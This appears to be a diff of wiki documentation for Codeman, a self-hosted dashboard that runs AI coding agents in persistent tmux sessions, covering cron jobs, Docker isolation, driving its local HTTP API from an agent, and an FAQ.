+The agent runs inside a tmux session. Codeman attaches to it, the same way your terminal
+would. That indirection buys:
+
+- **Survival.** The agent outlives your browser tab, your network, your laptop lid, and a
+  restart of the Codeman server itself.
+- **Real scrollback.** History is held by tmux, so reconnecting replays what happened while
+  you were gone instead of starting from blank.
+- **Attach from anywhere else.** The same session is reachable from a terminal over SSH
+  with the `sc` chooser, or plain `tmux -L codeman attach`.
+- **Secrets off the command line.** Environment overrides are injected with socket-scoped
+  `tmux setenv` rather than being visible in the spawn command.
+
+The socket is `tmux -L codeman`, separate from your personal tmux server, so Codeman
+sessions never appear in a bare `tmux ls`.
+
+## What persists
+
+| Survives                                     | Does not survive                                    |
+| -------------------------------------------- | --------------------------------------------------- |
+| Closing the browser                          | `tmux -L codeman kill-server`                        |
+| Losing the network                            | A machine reboot (tmux dies with it)                 |
+| Restarting the Codeman server                 | Killing the session from the UI                      |
+| `codeman web --stop`                          |                                                      |
+| A dropped SSH link, for remote cases          |                                                      |
+| A container restart, for docker cases         |                                                      |
+
+Conversation history is a separate question: Claude transcripts live in `~/.claude/`, so a
+conversation can be resumed even after the tmux session is gone. That is what the welcome
+screen's **Resume Conversation** list offers.
+
+## State on disk
+
+Everything Codeman knows lives under `~/.codeman/`:
+
+| File                                     | Holds                                                                |
+| ---------------------------------------- | -------------------------------------------------------------------- |
+| `state.json`                             | Sessions, settings, respawn config, orchestrator state, cron jobs.    |
+| `settings.json`                          | User preferences that sync across your devices.                       |
+| `mux-sessions.json`                      | tmux recovery data.                                                   |
+| `session-lifecycle.jsonl`                | Append-only audit log of session starts, exits, and kills.            |
+| `linked-cases.json`                      | Registered cases.                                                     |
+| `remote-hosts.json`, `docker-hosts.json` | Location overlay configuration.                                       |
+| `webviews.json`                          | Saved dashboard URLs.                                                 |
+| `users.json`                             | Multi-user accounts, mode 0600.                                       |
+| `push-*.json`                            | Web push keys and subscriptions.                                      |
+| `certs/`                                 | Self-signed TLS for `--https`.                                        |
+
+None of it needs root, none of it leaves the machine, and deleting `~/.codeman/` resets
+Codeman to a fresh install without touching your code.
+
+## Instances
+
+The data directory and the tmux socket are both **process wide**. Two Codeman servers
+started on one machine share them, which means the second one discovers the first one's
+live sessions and attaches to them, resizing and mutating sessions you did not expect it to
+touch.
+
+To run two on purpose, give each its own instance name:
+
+```bash
+CODEMAN_INSTANCE=beta CODEMAN_PORT=5000 codeman web
+```
+
+That scopes the data directory and the tmux socket together, which is the only safe way to
+do it. `CODEMAN_DATA_DIR` and `CODEMAN_TMUX_SOCKET` can be set individually if you need
+them apart, but setting only one of the two reproduces exactly the problem you were trying
+to avoid.
+
+## Hooks
+
+For Claude sessions, Codeman writes a hooks configuration into the case so Claude Code can
+report events back: a permission prompt appeared, the turn finished, the agent went idle, a
+task completed. Those events drive tab alerts, the Approvals Inbox, notifications, and the
+wait primitives.
+
+This is why some features are Claude-only. The other CLIs have no equivalent hook system,
+so for them Codeman falls back to watching terminal output, which is coarser: it can see
+that something happened, not what it was.
+
+See [Hooks And Integrations](Hooks-And-Integrations).
+

+| --------------- | ---------------------------------------------------------------------------- |
+| **Case**        | Named working directory.                                                      |
+| **Session**     | One CLI in one tmux session.                                                  |
+| **Run mode**    | Which CLI: claude, opencode, codex, gemini, antigravity, pi, shell.           |
+| **Respawn**     | Restarting the CLI on idle to keep an unattended run going.                   |
+| **Ralph loop**  | An autonomous single-session task loop.                                       |
+| **Orchestrator**| A phased plan driven across multiple agents.                                  |
+| **Subagent**    | An agent the CLI spawned itself, shown live in its own window.                |
+| **Web tab**     | A saved dashboard URL rendered as a tab. Not a session.                       |
+| **Instance**    | One Codeman server with its own data directory and tmux socket.               |

+# Cron Jobs
+
+Saved, named jobs that start a session and send it a prompt on a schedule. Cron for agent
+sessions: *every weekday at 03:00, open a Claude session in `~/proj` and tell it to update
+dependencies and open a PR.*
+
+The ⏰ **Cron** header button is opt-in. Turn it on in
+**App Settings → Header & Panels**.
+
+## Creating a job
+
+1. Click **⏰ Cron**, then **+ New Job**.
+2. Give it a name, pick the agent type and working directory.
+3. Write the prompt, or point at a file containing it.
+4. Choose a schedule and leave **Enabled** on.
+5. **Save**. The job appears with its computed next run.
+
+**Run Now** fires it immediately without touching the schedule, which is the fastest way to
+find out whether the prompt does what you meant.
+
+## The fields
+
+| Field                    | Notes                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------------- |
+| **Name**                 | Also used as the created session's name.                                                     |
+| **Agent type**           | Any run mode, including `shell`.                                                             |
+| **Working directory**    | Validated when you save **and** again when the job fires. Blocked system trees are refused.  |
+| **Launch command**       | Shell jobs only. Sent as the first line once the shell is up, before the prompt.             |
+| **Prompt**               | Inline text, or a path to a file read at fire time.                                          |
+| **Input mode**           | `typed` behaves like a human typing. `paste` writes directly.                                |
+| **Schedule**             | `once`, `interval`, `daily`, or `weekly`.                                                    |
+| **Enabled**              | Disabled jobs never fire on their own. **Run Now** still works.                              |
+| **Concurrency policy**   | What to do if sessions of the same type are already running.                                 |
+| **Auto-close previous**  | Recurring jobs only. Closes the session the previous run created. Default on.                |
+| **Notes**                | Free text for you.                                                                           |
+
+## Schedules
+
+All wall-clock times are in the **server's local timezone**, not your browser's. A job set
+for 03:00 fires at 03:00 where the server is.
+
+| Type       | Behaviour                                                                                          |
+| ---------- | -------------------------------------------------------------------------------------------------- |
+| `once`     | Fires at an absolute time, then disables itself. A job missed because the server was down still fires once on the next tick. |
+| `interval` | Every N minutes, from 1 minute to a year.                                                            |
+| `daily`    | At `HH:MM` every day. If today's time has passed, the next run is tomorrow.                          |
+| `weekly`   | At `HH:MM` on the weekdays you pick.                                                                 |
+
+Interval jobs re-anchor to when they actually fired, not to an ideal cadence, so a slow tick
+or a server restart shifts later runs slightly. That drift is accepted rather than corrected.
+
+## Prompts are single line
+
+This is the rule people trip over. Programmatic input into an agent session is single line
+everywhere in Codeman, because the terminal UIs these CLIs use treat a newline as submit. A
+multi-line prompt would be silently mangled, so it is **rejected** instead: the form refuses
+it, and a prompt file whose contents are multi-line fails the run with a clear message.
+
+For anything longer than a sentence, put the instructions in a file and make the prompt tell
+the agent to read it:
+
+```
+read TASKS.md and work through it
+```
+
+That is also easier to edit than a job field.
+
+### Prompt files
+
+Reading the prompt from a file at fire time is useful when the instructions change more
+often than the schedule. The path is confined to the job's working directory, symlinks are
+resolved before the check, sensitive trees are refused, and the file has to be a regular
+file under 1 MiB.
+
+If any of that fails, the run is recorded as failed and **no session is created**.
+
+## Concurrency
+
+Applies to scheduled runs only, never to **Run Now**:
+
+| Policy                          | Behaviour                                                                             |
+| ------------------------------- | -------------------------------------------------------------------------------------- |
+| `warn_only`                     | Always launch. The count of live same-type sessions is shown but does not block.        |
+| `skip_if_same_agent_running`    | Skip this fire if another live session of that mode exists.                             |
+
+The skip policy has the details you would want it to have:
+
+- Only **live** sessions block. A tab whose CLI already exited does not count.
+- Sessions the job created on its own previous runs never block it, otherwise a recurring
+  job would deadlock on itself after the first fire.
+- A skipped `once` job is not consumed. It stays armed and fires when the blocker goes away.
+- Consecutive skips are collapsed into one record per streak, so a perpetually skipped job
+  cannot bloat your state file.
+
+## Run history
+
+Every fire is recorded per job, with a status:
+
+| Status    | Meaning                                                              |
+| --------- | -------------------------------------------------------------------- |
+| `created` | The run started and a session was created.                            |
+| `skipped` | The concurrency policy blocked it. Not counted as a run.              |
+| `failed`  | The prompt could not be resolved, or the working directory was gone.  |
+
+The schedule is advanced **before** the session launches, so a slow start cannot cause the
+same job to re-trigger.
+
+## Cron versus the other autonomy features
+
+| Want                                                | Use                                                     |
+| --------------------------------------------------- | ------------------------------------------------------- |
+| Start work at a specific time                        | Cron                                                     |
+| Keep an existing session working                     | [Keeping Agents Running](Keeping-Agents-Running)         |
+| Drive one goal to completion across phases           | [Autonomous Loops](Autonomous-Loops)                     |
+
+There is also an older, deliberately separate `ScheduledRun` concept behind
+`/api/scheduled`: a run-now, duration-bounded loop with no recurrence and no saved jobs. The
+two systems never interact, and Cron is the one you want.

+
+- **Times are the server's, not yours.** Obvious until you are travelling.
+- **A `pi` job starts slowly.** The readiness poll looks for markers pi does not print, so it
+  burns its poll budget before sending the prompt. The job still works.
+- **A deleted working directory fails the run**, by design, rather than creating a session
+  somewhere unexpected.
+- **Auto-close only touches sessions this job created.** Your own tabs are never closed.

+# Docker Cases
+
+Run a case inside its own container instead of directly on your host: for isolation, for a
+reproducible toolchain, and for the ability to pick the whole environment up and move it to
+another machine.
+
+A docker case is a **location overlay**, not a run mode. All seven run modes work inside a
+container. See [Core Concepts](Core-Concepts).
+
+## One-time setup: the base image
+
+The container needs an image carrying the agent toolchain (node, the CLIs, git, tmux). It
+builds itself on first use with progress streamed to the UI, or you can build it ahead of
+time:
+
+```bash
+node scripts/build-agent-image.mjs --no-cache
+```
+
+**Always pass `--no-cache`.** The CLIs are installed in a single `npm install -g` layer, so
+a plain rebuild reuses that layer from the cache and the CLIs stay frozen at whatever
+versions the image was *first* built with. This has shipped a broken CLI while reporting a
+successful build.
+
+A zero exit code proves the layers ran, not that the toolchain works. Verify:
+
+```bash
+docker run --rm codeman/agent:base bash -lc \
+  'for c in claude codex gemini opencode agy pi; do printf "%-9s " $c; $c --version 2>&1 | head -1; done'
+```
+
+The image is secret-free. Credentials are delivered at runtime, never baked in, so exports
+never leak them. A full image lands around 1.6GB.
+
+Prerequisite: Docker or Podman with a reachable daemon.
+
+## The quick way
+
+On **Add Case → Create New**, tick **🐳 Run in an isolated Docker container**. That alone is
+enough: Codeman creates the case folder, spins up a hardened container with sensible
+defaults, and starts the session inside it.
+
+Expanding **Container settings** offers a template:
+
+| Template          | Memory | CPUs | GPUs                                  |
+| ----------------- | ------ | ---- | ------------------------------------- |
+| Small             | 2 GB   | 1    | none                                  |
+| Medium (default)  | 4 GB   | 2    | none                                  |
+| Large             | 8 GB   | 4    | none                                  |
+| GPU               | 8 GB   | 4    | all (needs the NVIDIA container toolkit) |
+
+Disk is elastic: storage grows as data arrives, bounded only by host disk. Changing any
+setting creates a dedicated host profile for that case, so it never mutates the shared
+default.
+
+## The full way
+
+**Add Case → Docker** exposes everything:
+
+| Field                | Meaning                                                                                       |
+| -------------------- | ----------------------------------------------------------------------------------------------- |
+| **Case name**        | As usual.                                                                                        |
+| **Workspace path**   | A real host directory, bind-mounted into the container at the **same absolute path**.            |
+| **Host ID**          | A reusable profile (image, network, resources). Share one across cases to share settings.        |
+| **Network**          | `bridge` (internet on, default), `none` (fully isolated), or a custom bridge.                    |
+| **Advanced**         | Memory and CPU caps, host credential seeding, and whether to resume the last conversation on relaunch. |
+
+The same-absolute-path bind mount is what keeps the File Viewer, attachments, and watchers
+operating on real host bytes rather than a copy.
+
+## One container per case
+
+Exactly one long-lived container per case, shared by every session in it.
+
+- Killing one session kills only that session's in-container tmux. Siblings keep running and
+  the container stays up.
+- Reconnecting after a Codeman restart lands back in the same live agent.
+- A container stop or a host reboot restarts the container and **resumes the last
+  conversation** from the bind-mounted transcript.
+- Deleting the case removes the container. The workspace on the host survives.
+
+## Credentials
+
+Your existing host logins work inside the container without logging in again. Credentials
+are **seeded**: mounted read-only and copied in once at launch, so in-container CLIs never
+write refreshed tokens back to your host credential stores. Onboarding and trust prompts are
+pre-answered so no wizard appears.
+
+Turn seeding **off** for a sealed sandbox: no host credentials, and with `network: none`, no
+outbound access either. That is the profile for genuinely untrusted work; you log in inside
+the container instead.
+
+Bind mounts are excluded from image capture, so exports stay secret-free.
+
+One consequence worth knowing: Pi's credentials are seeded per file rather than as a whole
+directory, because that directory also holds sessions, extensions, and installed packages,
+which can be gigabytes. So in-container Pi sessions are invisible from the host, and `pi -c`
+inside a docker case sees only that container's history.
+
+## Isolation
+
+Every container runs hardened by default:
+
+- `--cap-drop ALL`
+- `--security-opt no-new-privileges`
+- Non-root, running as your host uid so workspace files stay host-owned
+- PID limit, memory cap with swap pinned to it, `--init`
+- **Never** `--privileged`, and **never** the docker socket
+
+Rootless engines without cgroup-v2 systemd delegation cannot enforce resource caps; linking
+such a host warns that the caps are advisory.
+
+## Configuration drift is refused, not ignored
+
+Editing a docker host's configuration (image, memory, network) after a container exists is
+detected on the next launch by comparing a configuration hash against the container's label.
+A mismatch **refuses the launch** and offers to recreate rather than silently running with
+stale configuration.
+
+Recreating is refused while sessions of that case are live. The workspace and the
+conversation both survive it.
+
+## Moving a case to another machine
+
+**Export**, from the Docker tab:
+
+| Option                     | Contents                                                                  |
+| -------------------------- | ------------------------------------------------------------------------- |
+| **Full image + workspace** | The whole toolchain, installed packages, and files, in one `.tgz`.        |
+| **Workspace only**         | Just the project files. Fast and small.                                    |
+
+The container is paused across the capture so image and workspace are consistent, free space
+is checked first, and the intermediate image is cleaned up. Exports run in the background
+and notify you when the bundle is ready.
+
+**Import** on the other machine: copy the `.tgz` into `~/.codeman/docker-exports/` and
+import it into a new case. The manifest and per-member checksums are verified, the workspace
+tar is extracted with a traversal guard, and the image is loaded under a **quarantined tag**
+so it can never overwrite a local image. The destination supplies its own credentials, so
+nothing secret crosses machines.
+
+## Hooks need to reach the server
+
+In-container hooks (permission events, idle and stop notifications) call back to Codeman
+over the docker bridge gateway. If Codeman binds **loopback only**, which is the default and
+the production configuration, the container cannot reach it and **in-container hooks do not
+fire**.
+
+The session still works fully: idle detection falls back to output-based detection through
+the exec PTY, and with permission prompts skipped there is nothing to forward anyway.
+
+To enable them:
+
+```bash
+CODEMAN_DOCKER_BRIDGE_HOOKS=1
+```
+
+Codeman then starts a second listener bound to the docker bridge gateway that serves **only**
+the hook endpoints and rejects everything else with a 403. The bridge is host-internal, so
+this does not widen your network exposure. Add it to the service unit and restart.
+
+## Limits
+
+- Per-session environment overrides, effort, and per-CLI configuration are **rejected** for
+  docker cases, because they do not cross into the container. Configure the container through
+  the docker host's per-mode command override instead.
+- tmux must exist in the base image. It is a hard prerequisite and is probed when linking a
+  host.
+- On macOS, Docker Desktop takes a dedicated uid path, and memory caps are subject to the
+  VM's own ceiling.

+# Driving Codeman From An Agent
+
+Everything the dashboard does is HTTP, so an agent can do it too. This page is for the case
+that makes Codeman interesting: **Claude Code running inside a Codeman session, spawning and
+supervising other sessions.**
+
+Two routes. Start with the skill.
+
+## The agent skill
+
+A Claude Code skill that teaches the agent the whole API, so you ask in plain English
+instead of pasting endpoint documentation into prompts.
+
+### Install it
+
+| How          | Command                                                     | Scope                                                       |

+| Bundled CLI  | `codeman skill install`                                      | Global, at `~/.claude/skills/codeman`.                       |
+| Bundled CLI  | `codeman skill install --case <name>`                        | One case.                                                    |
+| Web UI       | **App Settings → Agents & CLIs → Claude → Agent Skill**      | Injects into each case when a Claude session is created. Off by default. |
+
+`codeman skill uninstall [--case <name>]` reverses the CLI installs, and never touches a
+`skills/codeman` you wrote yourself.
+
+### Then just ask
+
+| You say                                                                                 | What happens                                                                             |

+| "What sessions are running right now?"                                                   | Lists them with name, mode, and status. Read-only.                                          |
+| "Start a shell worker on the `myapp` case, run the test suite, tell me if it passes."     | Spawns, waits on a completion marker, reads the exit code, cleans up.                       |
+| "Spin up 3 workers for lint, typecheck and tests, run them in parallel, report failures." | One session per task, all started first, then gathered as each finishes.                    |
+| "Have a claude worker summarize `src/session.ts`, then close it."                         | Spawns, runs the readiness ladder, sends and waits, reads the answer, deletes the session.  |
+| "Watch session w4 and tell me if it gets stuck on a permission prompt."                   | Blocks on the `blocked` signal and surfaces the question to **you**.                        |
+
+Sessions the agent creates get deleted when it is done. You can watch the tabs appear and
+disappear in the dashboard while it works.
+
+### What it will and will not do
+
+- **It self-gates.** Outside a Codeman session it refuses to act and does not guess an API
+  URL, so a global install costs an unrelated Claude Code session nothing.
+- **Unprompted, it may only** spawn sessions, prompt them, and delete ones **it created in
+  that conversation, by exact id**, behind a guard that refuses to delete the agent's own
+  session.
+- **It will not** answer another session's permission prompt on your behalf. It surfaces the
+  question instead.
+- **Deleting a case** (which erases a real directory of your code), bulk kills, respawn,
+  Ralph, cron, orchestrator, and settings writes all require you to ask, naming the target.
+
+Turning the setting back off **does not remove already-injected copies**, because a
+create-time sweep would yank the skill out from under other live sessions sharing that
+directory. Remove them per case with `codeman skill uninstall --case <name>`.
+
+The skill ships with the verb index always loaded, plus on-demand references for the verbs,
+worked multi-worker recipes, endpoint tables, and cross-session messaging.
+
+## The manual path
+
+The same operations as raw HTTP, for a CI bot, a shell script, or an agent without skill
+support.
+
+### Detect that you are inside Codeman
+
+These are set in every managed session. Read them rather than hardcoding anything:
+
+| Variable                   | Meaning                                                                  |
+| -------------------------- | ------------------------------------------------------------------------ |
+| `CODEMAN_MUX=1`            | You are in a managed tmux session. Never `tmux kill-session`, `pkill claude`, or `pkill tmux`: you will kill yourself or a sibling. |
+| `CODEMAN_API_URL`          | Base URL, with the correct scheme.                                        |
+| `CODEMAN_SESSION_ID`       | Your own session id. Use it to avoid acting on yourself.                   |
+| `CODEMAN_HOOK_SECRET_FILE` | Path to the hook secret.                                                   |
+
+### Rules of the road
+
+Read these before writing any code. Each one has cost somebody an afternoon.
+
+1. **Input is single line and must end with `\r`.** Enter fires only when the payload
+   contains a carriage return. Without it the text sits unsubmitted on the prompt, the
+   request still succeeds, and a combined wait burns its full timeout on a turn that never
+   started. Embedded newlines are stripped rather than rejected, so `"echo A\necho B\r"` runs
+   the joined `echo Aecho B`. One line per call.
+2. **Make input idempotent.** Send a stable `clientId` and a monotonic per-session `seq`. The
+   server deduplicates, so a retry after a dropped connection cannot double-deliver.
+3. **Auth.** With `CODEMAN_PASSWORD` set, use HTTP Basic or the session cookie. A missing
+   `Origin` is allowed, so plain curl works. A `401` replies with the bare string
+   `Unauthorized`, **not** the JSON envelope, so piping it into `jq` throws a parse error
+   instead of showing the failure. Check the status before parsing.
+4. **Envelope.** Most endpoints return `{ "success": true, "data": ... }`. A few legacy GETs
+   return bare bodies, so handle both: `body.data ?? body`.
+5. **Wait instead of polling, and a timeout is not an error.** The wait endpoints answer
+   `200` with `wait.timedOut: true`. Loop over short waits rather than one long call, because
+   tunnels cut idle connections.
+6. **Only `claude` sessions emit `stop` and `blocked`.** They come from Claude Code hooks.
+   Shell and the external CLIs accept only `idle`, `working`, and `exit`; asking for `stop`
+   explicitly there is a `400`, while omitting `until` is always safe. On a shell session
+   `idle` fires **once at startup and never again**, so synchronize hook-less sessions with an
+   output marker instead.
+7. **Nothing reports "ready", so wait for it explicitly.** A new session answers
+   `{"signal":"exit","immediate":true}` until its PID exists, and that means *not started*,
+   not *crashed*. A Claude worker in a fresh case then sits on the CLI's trust dialog; prompt
+   it there and the wait resolves on idle in about two seconds looking exactly like a finished
+   turn, while your text sits stuck in the dialog.
+
+### Recipes
+
+```bash
+API="${CODEMAN_API_URL:-http://localhost:3000}"
+# Add -u admin:"$CODEMAN_PASSWORD" if a password is set, and -k on an HTTPS install.
+
+# What is running
+curl -s "$API/api/sessions" | jq '.data[] | {id, name, mode, status}'
+
+# Spawn a worker in a case
+curl -s -X POST "$API/api/quick-start" \
+  -H 'Content-Type: application/json' \
+  -d '{"caseName":"myapp","mode":"shell"}' | jq
+
+# Send a prompt (note the \r)
+curl -s -X POST "$API/api/sessions/$ID/input" \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"run the tests\r","clientId":"my-agent","seq":1}' | jq
+
+# Send and block until the turn finishes (registers the wait BEFORE writing)
+curl -s -X POST "$API/api/sessions/$ID/input" \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"summarize src/session.ts\r","wait":["stop"],"waitTimeout":120000}' | jq
+
+# Or wait for a marker in the output, which works on shell sessions too
+curl -s "$API/api/sessions/$ID/wait-output?contains=DONE_17909&from=buffer" | jq
+
+# Read the terminal back
+curl -s "$API/api/sessions/$ID/terminal?tail=4000" | jq -r '.data.output'
+
+# Clean up, by exact id
+curl -s -X DELETE "$API/api/sessions/$ID" | jq
+```
+
+Use `POST /api/quick-start` rather than `POST /api/sessions` when a case might be remote:
+the plain create endpoint validates the working directory locally and has no case concept.
+
+### The split-marker trick
+
+For hook-less sessions, synchronize on a marker in the output. The catch: your own
+keystrokes echo into the output stream, so an unsplit marker matches **before the command
+has run**.
+
+Split it so the typed line never contains the string you are waiting for:
+
+```bash
+M=DONE; R=17909
+# typed: echo ${M}_${R}   →   output contains DONE_17909, the typed line does not
+```
+
+Make it unique per call, because tmux repaints replay old screen text.
+
+### Reading output
+
+Use `terminal?tail=`, not `/output`. The latter's text field is empty for every tmux-backed
+session, which is every interactive session. `tail` counts **bytes**, and what comes back is
+terminal data with ANSI sequences included.
+
+## Fan-out, and why it needs care
+
+Wait signals are **edge triggered with no history**. A signal that fires with no waiter
+registered is unobservable afterwards.
+
+So a fan-out must register its waits before or as it dispatches: use send-and-wait per
+worker, or latched output markers. Dispatching all the workers and then waiting on them one
+at a time loses the signals of everyone who finished early.
+
+Send-and-wait registers the waiter **before** the write for the same reason. A separate POST
+followed by a wait races, and reports the previous turn's state.
+
+## Lineage
+
+A create request can name the session that spawned it, through a body field or a header, and
+the dashboard then draws a lineage arc from parent to child. The skill sets it automatically.
+
+It is resolved rather than trusted: an unresolvable parent is dropped silently rather than
+failing the spawn, because a cosmetic field must never break a worker.

+# FAQ
+
+The questions that keep arriving in
+[Discussions](https://github.com/Ark0N/Codeman/discussions) and issues. For "why is it
+doing that", go to [Troubleshooting](Troubleshooting) instead.
+
+## The basics
+
+### What is Codeman, in one sentence?
+
+A self-hosted dashboard that runs AI coding agents in persistent tmux sessions on your own
+machine and lets you drive them from any browser, including a phone.
+
+### Is it free? What is the licence?
+
+MIT, free, and open source. There is no paid tier and no account.
+
+### Do I need an API key?
+
+No. Codeman drives agent CLIs you have already installed and logged in yourself. Whatever
+subscription or key that CLI uses is what pays for the tokens. Codeman never collects,
+stores, or refreshes your credentials.
+
+### Does Codeman send my code or prompts anywhere?
+
+No. There is no telemetry, no analytics, and no phone-home. The only network traffic
+Codeman itself makes is between your browser and your server.
+
+Your agent CLI is a separate matter: Claude Code talks to Anthropic, Codex talks to OpenAI,
+and so on. That traffic is the CLI's, on your own account, exactly as it would be in a
+terminal.
+
+Two features do send data outward, both off by default and both stated where they appear:
+voice dictation through your own Claude login, and the Read My Mind prediction call.
+
+### Does it work on Windows?
+
+Through WSL2. Codeman requires tmux. Install it inside WSL, run your agent CLI inside WSL,
+and `http://localhost:3000` works from your Windows browser. Work in the Linux filesystem
+rather than `/mnt/c/...`, which is dramatically slower for file watching and git.
+
+### Is there a mobile app?
+
+The web UI is built for phones and installs as a PWA. There is no App Store or Play Store
+app.
+
+## Sessions and persistence
+
+### Do my agents keep running when I close the browser?
+
+Yes. Agents run in tmux on the server, not in your browser. Close the tab, close the laptop,
+lose the network. When you come back, the session is still there with its scrollback.
+
+The same holds when the Codeman server itself restarts. What does end a session is killing
+the tmux server or rebooting the machine.
+
+### What happens after a reboot?
+
+tmux dies with the machine, so the sessions are gone. Conversations are not: Claude
+transcripts persist on disk, and the welcome screen's **Resume Conversation** list picks
+them back up. Install Codeman as a service and the server itself comes back on boot.
+
+### How many sessions can I run at once?
+
+The design target is 20 sessions and 50 agent windows at 60fps. The hard cap is higher, and
+what you will actually hit first is the CPU and memory of the machine running the agents.
+
+### Can I run Claude Code and Codex side by side?
+
+Yes, that is a normal setup. The run mode is per session, so one case can have a Claude tab,
+a Codex tab, and a shell tab open at the same time, each with its own colour. Some Codeman
+features are Claude-only; [Agent CLIs](Agent-CLIs) lists exactly which.
+
+### Can I attach to a session from a terminal instead of the browser?
+
+Yes. `sc` is an interactive chooser (`sc 2` attaches directly, `sc -l` lists), or use tmux
+directly on the `codeman` socket. Detach with `Ctrl+A D`.
+
+## Running unattended
+
+### I hit my Claude usage limit overnight. Can Codeman resume automatically?
+
+Yes, and it is the reason the feature exists. Turn on auto-resume at the top of the Respawn
+tab for that session. When Claude halts on a subscription limit, Codeman parses the reset
+time from the message, waits until two minutes past it, and continues the conversation.
+
+Respawn cycles are blocked while a session is limit-paused, which is what stops a `/clear`
+from wiping the conversation you are waiting to resume. Claude-only.
+
+### Will it keep prompting my agent forever?
+
+Only if you configure it to. Respawn cycling is per session and off unless you turn it on,
+and it has presets ranging from a 60 minute solo session to an 8 hour overnight run. There
+are circuit breakers to stop a thrashing session from spinning indefinitely. See
+[Keeping Agents Running](Keeping-Agents-Running).
+
+### Does an idle session cost tokens?
+
+No. An idle agent is a process waiting for input. Tokens are spent when a turn runs, so what
+costs money is the re-prompting you configured, not the session sitting there.
+
+### Can I schedule work for a specific time?
+
+Yes. [Cron Jobs](Cron-Jobs) saves named jobs on a `once`, `interval`, `daily`, or `weekly`
+schedule; each spins up a session and sends a prompt when due, with per-job run history.
+
+## Access
+
+### How do I reach Codeman from my phone when I am away from home?
+
+Tailscale is the recommended answer: your devices join a private network, Codeman keeps its
+loopback bind, and you get real HTTPS. The installer sets it up, and `install.sh tailscale`
+retrofits it onto an existing install.
+
+A Cloudflare tunnel gives a public URL faster, and requires `CODEMAN_PASSWORD`. Full
+comparison in [Remote Access](Remote-Access).
+
+### Why can't other devices reach Codeman?
+
+Because the default bind is `127.0.0.1`, on purpose. Codeman starts agents with permission
+prompts skipped, so whoever reaches the dashboard can run code on your machine. Exposing it
+is a deliberate step, and [Remote Access](Remote-Access) covers the safe ways.
+
+### My reverse proxy domain is rejected with `403 host not allowed`
+
+The always-on Host-header allowlist blocks DNS rebinding, and it does not know your domain.
+Add it:
+
+```bash
+CODEMAN_ALLOWED_HOSTS='codeman.example.com,.internal.example.com'
+```
+
+A leading dot matches subdomains. Also make sure the proxy forwards WebSocket upgrades.
+
+### Do I have to type a password on my phone?
+
+No. Scan the QR code shown on the desktop dashboard. Tokens are single use and rotate every
+60 seconds. The password remains the fallback.
+
+## Multiple people, multiple instances
+
+### Can several people share one Codeman?
+
+Yes, with `codeman web --multiuser`. Each person gets a login and their own case space, and
+sessions, cases, search, and events are scoped to their owner.
+
+Be clear about what that is: it separates **workspaces**, not operating system accounts.
+Every session still runs as the same OS user, so a determined user's agent can reach another
+user's files. For real isolation, pair users with Docker cases or run separate instances
+under separate OS accounts. See [Multi-User Mode](Multi-User-Mode).
+
+### How do I run a second instance, a beta beside my main one?
+
+Give it its own instance name, which scopes the data directory and the tmux socket together:
+
+```bash
+CODEMAN_INSTANCE=beta CODEMAN_PORT=5000 codeman web
+```
+
+Do not skip this. The data directory and tmux socket are process wide, so a second server on
+the defaults discovers and attaches your live sessions.
+
+## Updating and maintenance
+
+### What is the right way to update Codeman?
+
+| Install route | Update with                                                                 |
+| ------------- | --------------------------------------------------------------------------- |
+| Installer     | Re-run the install one-liner, or **App Settings → System → Updates**.         |
+| npm           | `npm update -g aicodeman`                                                     |
+| git clone     | `git pull && npm install && npm run build`, then restart the service.         |
+
+The in-app updater covers git-clone installs supervised by systemd or launchd. It stashes a
+dirty tree rather than discarding it, and streams progress across the restart. npm installs
+report as non-updatable.
+
+### Will updating kill my running sessions?
+
+No. Sessions live in tmux, so restarting the server reattaches to them.
+
+### Where is my data?
+
+Everything under `~/.codeman/`, with cases created from scratch in `~/codeman-cases/`.
+Nothing needs root and nothing leaves the machine. Uninstalling does not delete either
+directory.
+
+## Features
+
+### What is the difference between respawn, Ralph, and the orchestrator?
+
+- **Respawn** restarts a session's CLI when it goes idle, to keep a long run going. It is the
+  one most people want.
+- **Ralph loop** is an autonomous single-session task loop with its own tracker.
+- **Orchestrator** turns one goal into a phased plan and drives it across agents.
+
+[Keeping Agents Running](Keeping-Agents-Running) and [Autonomous Loops](Autonomous-Loops)
+cover them properly.
+
+### Can agents start and supervise other agents?
+
+Yes. Codeman ships an agent skill that lets an agent inside a session drive the HTTP API:
+list sessions, spawn workers, send prompts, and block until a worker's turn finishes. It is
+off by default and enabled per case.
+
+See [Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
+
+### Can I run a case in a container?
+
+Yes. One container per case, shared by all its sessions, non-root and capability-dropped by
+default, with your host CLI logins seeded in so nothing asks you to log in again. You can
+export a container plus its workspace and move it to another machine. See
+[Docker Cases](Docker-Cases).
+
+### Can the agent run on a different machine?
+
+Yes. Point a case at a remote host over SSH and the agent runs there, inside a durable
+remote tmux, so a dropped connection does not kill the run. See
+[Remote SSH Sessions](Remote-SSH-Sessions).
+
+### Can I put my Grafana or other dashboards in here?
+
+Yes. Saved URLs render as tabs beside your sessions, proxied through Codeman's own origin so
+that mixed content and frame-blocking headers do not break them. See [Web Tabs](Web-Tabs).
+
+### Why is a feature I read about not on screen?
+
+Most of Codeman's UI is opt-in and defaults to off, so a stock install stays small. Check
+**App Settings → Header & Panels**. [Settings Reference](Settings-Reference) lists the
+defaults.
+
+## Contributing
+
+### How do I request a feature?
+
+Open an [Idea](https://github.com/Ark0N/Codeman/discussions/categories/ideas) and it gets
+voted on. Roadmap decisions happen there.
+
+### How do I contribute code?
+
+[CONTRIBUTING.md](https://github.com/Ark0N/Codeman/blob/master/.github/CONTRIBUTING.md) has
+the full map. Small fixes can go straight to a PR; anything larger starts as an issue or
+Discussion so the design gets a nod first. Skins, translations, and docs are good first
+contributions.

+# HTTP API
+
+Codeman's HTTP and SSE API is a **stable contract**. Everything the dashboard does goes
+through it, so anything the dashboard can do, a script can do.
+
+This page is the orientation. The complete specification, including every wait semantic and
+the SSE catalogue, is
+[`docs/api-reference.md`](https://github.com/Ark0N/Codeman/blob/master/docs/api-reference.md).
+
+## What is stable
+
+Covered by semantic versioning: endpoint paths under `/api/v1`, the response envelope,
+`errorCode` values, and SSE event names.
+
+Not covered, and free to change in a patch release: on-disk state files, internal modules,
+and anything marked experimental. The full statement is in
+[Versioning](Versioning).
+
+`/api/v1/*` is a versioned alias of `/api/*`. Prefer the versioned form in anything you
+intend to keep.
+
+## The envelope
+
+```json
+{ "success": true, "data": { } }
+```
+
+```json
